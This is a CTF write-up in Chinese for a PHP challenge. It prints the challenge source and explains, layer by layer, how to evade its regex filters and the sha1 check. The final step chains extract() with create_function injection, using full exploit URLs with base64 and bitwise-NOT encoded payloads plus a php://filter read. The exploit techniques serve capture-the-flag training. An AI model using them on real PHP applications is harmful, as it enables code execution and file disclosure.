Y1ng‘s BabyCode
目录
- 前言
- 源码
- 思路
- 第一层过滤
- 第三层过滤
- 第四层和第二层过滤
- 第五层
- 第六层
- 题解
- 解法一
- 解法二
- 总结
前言
先提一个小坑,$_REQUEST = $_POST+$_GET+$_COOKIE
,如果进入页面显示fxck your English letters
,删掉cookie就好了.
源码
查看源代码 <!-- 316E4433782E706870 -->
HEX解码 1nD3x.php
拿到源码
<?php
highlight_file(__FILE__);error_reporting(0);
$file = "1nD3x.php";
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';if($_SERVER) { if (preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('fxck your key words!');
}
if (!preg_match('/http/i', $_GET['file'])) {if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { $file = $_GET["file"]; echo "Yes! You know that I zuishuai!<br>";}
} else die('fxck you! no RFI!!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck your English letters'); }
}if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')die(' Am not I universe wudi zuishuai?<br>');if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die('fxck you! you dont know password! you dont know sha1! why you come here!');
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg) ) { die('fxck you! Read my Regular Express1on!');
} else { var_dump($code);var_dump($arg);include "flag.php";$code('', $arg);
}
?>
思路
第一层过滤
先看看第一层过滤
if($_SERVER) { if (preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('fxck your key words!');
}
$_SERVER['QUERY_STRING']
的值为请求的参数
参考 http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml
但发现第一层把y1ng和passwd过滤掉了,试试url编码,成功绕过
?%79%31%6e%67=1&%70%61%73%73%77%64=1
第三层过滤
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck your English letters'); }
}
$_REQUEST
可以接收GET和POST请求
经过本地测试
<?php
$cmd = $_GET['cmd'];print_r($_REQUEST);
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); }
}
eval($cmd);
?>
同时传入get和post就能绕过过滤,在$_REQUEST中post优先度更高
post提交 y1ng=1&passwd=1
,绕过第三层
第四层和第二层过滤
这时候 Am not I universe wudi zuishuai?
的提示,$file应该在第二层传入
//第二层
if (!preg_match('/http/i', $_GET['file'])) {if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { $file = $_GET["file"]; echo "Yes! You know that I zuishuai!<br>";}
} else die('fxck you! no RFI!!');
//第四层
if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')die(' Am not I universe wudi zuishuai?<br>');
先解决第四层的
file_get_contents
是读取文件内容,这里可以用data伪协议
data://text/plain,y1ng_YuZhou_Wudi_zuishuai
由于y1ng_YuZhou_Wudi_zuishuai
中有被第一层过滤,用url编码
%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69
同时post提交file=1
第二层的zuishuai有个正则匹配/^y1ngzuishuai$/
从y1ngzuishuai开始,以y1ngzuishuai结尾,可以在结尾加上%0a绕过
zuishuai=y1ngzuishuai%0a
url编码
%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a
POST:
zuishuai=1
成功进入第五层
GET:
1nD3x.php?%79%31%6e%67=aaa&%70%61%73%73%77%64=1&%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a
POST:
y1ng=1&passwd=1&file=1&zuishuai=1
第五层
if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die('fxck you! you dont know password! you dont know sha1! why you come here!');
}
===
是强类型,绕过sha1很简单,sha1无法处理数组,默认返回false也就是0
y1ng[]=&passwd[]=1
第六层
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg) ) { die('fxck you! Read my Regular Express1on!');
} else { var_dump($code);var_dump($arg);include "flag.php";$code('', $arg);
}
现在我们进入第六层了,但是我们并没有$code
和$arg
的值,应该用extract($_GET["flag"])
extract可以给变量$code
和$arg
赋值
看到$code('', $arg);
,可以想到用create_function () 代码注入
$code = “return($a+$b);}eval($_POST[‘kradress’]);//”
$f=create_function('$a, $b', $code);
相当于得到:
function f($a, $b){return $a+$b; } eval($_POST['kradress']);//}
限制了$arg
不能直接查看flag,除了过滤的system还有exec等尽管没被过滤却在php.ini被disabled的,不够可以用get_defined_vars()
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg) )
$flag[code]=create_function
,$flag[arg]=} var_dump(get_defined_vars());//
提示flag在1fl4g.php
题解
解法一
用 require包含1flag.php,记得把1flag.php base64加密,可以绕过过滤. 再用get_defined_vars()输出
?%79%31%6e%67[]=&%70%61%73%73%77%64[]=1111&%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}%20require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//
?y1ng[]=&passwd[]=1111&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai&zuishuai=y1ngzuishuai
&flag[code]=create_function&flag[arg]=} require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//
post:
file=1&zuishuai=1
解法二
除了base64,还可以用取反和异或去绕过过滤,然后用伪协议去读取源码,可以不用()
}%20require~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f;//
php://filter/read=convert.base64-encode/resource=1flag.php
查看页面源代码,base64解码,拿到flag
总结
感觉总体做下来自己收获挺大的,Y1ng师傅也教了我很多很有用的技巧
Y1ng‘s BabyCode相关推荐
- buu [BJDCTF 2nd]灵能精通-y1ng
老规矩,没后缀跟着前面加就是 得到一张图片 看着像是猪圈,就在网上找了找. 这是猪圈加密的变形圣堂武士密码 翻译即可得到flag
- buu [BJDCTF 2nd]燕言燕语-y1ng
查看题目 燕子说79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20 明显是16进制,16转文,转换一下. 明显是维吉尼亚密 ...
- buu [BJDCTF 2nd]签到-y1ng
查看题目 见到=直接先试一下base64解密 注意:这里要把根据要求把BJD换成flag,然后提交即可.
- outguess秘钥加密--[BJDCTF 2nd]圣火昭昭-y1ng
刚开始我试了一下 winhex, stegsolve 没看出什么 就点开了图片的详细信息 新佛曰加密这是 gemlovecom 题目说去掉,com--------------gemlove 把geml ...
- [BJDCTF 2nd] 燕言燕语-y1ng
容易看出字符: 79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20 为16进制,转换为文本得: yanzi ZJQ{xil ...
- [BJDCTF 2nd]燕言燕语-y1ng解析
打开题目,提供内容有点像16进制,尝试用16进制转字符(16进制在线转换)得到yanzi ZJQ{xilzv_iqssuhoc_suzjg} 是维吉尼亚密码,密钥是yanzi(维吉尼亚解密),解密得f ...
- buuoj [BJDCTF 2nd]小姐姐-y1ng
strings xiaojiejie.jpeg |grep BJD
- BUUCTF:[BJDCTF 2nd]圣火昭昭-y1ng
题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]%E5%9C%A3%E7%81%AB%E6%98%AD%E6%98%AD-y1ng 新约佛论禅加密 新约佛 ...
- [BJDCTF2020]EzPHP 1
目录 前言 源码 思路 第一层过滤 第三层过滤 第四层和第二层过滤 第五层 第六层过滤 题解 解法一 解法二 总结 前言 这题也来自Y1ng师傅的babycode,刚刚做完babycode,顺便刷一刷 ...
最新文章
- java 下载文件功能代码例子
- ListView滑动位置精准记忆
- zookeeper基础知识整理
- 分子排列不同会导致_原子或分子之间的作用力是什么力?
- oracle emp数据库或数据误删恢复
- 小编带你了解oracle使用索引和不使用索引性能分析
- 前端学习(2674):vue3修改
- 小程序 web socket_程序员的薪水和发展方向大全
- MIKE水动力笔记3_岸线及水深数据之根据遥感影像绘制岸线的方法
- TF卡,Micro SD卡,Micro SDHC卡
- 服务器上需要高性能显卡吗,英特尔要做独立显卡 只因服务器市场太重要
- 【文摘】2008年度_Atom处理器
- 【归档】Kata Containers 2.0 介绍
- 完全用GNU/Linux工作,摈弃Windows---你我共勉 (转)
- 图片工具GraphicsMagick的下载安装配置使用
- 总体设计和数据库设计
- 多张JPG图片怎么转成一个PDF
- 【2023 年第十三届 MathorCup 高校数学建模挑战赛】A 题 量子计算机在信用评分卡组合优化中的应用 42页论文及代码
- Retrofit2网络框架的使用
- PMSM永磁同步电机滑模控制的直接转矩控制改进算法仿真模型,在传统算法上结合滑模控制算法加以改进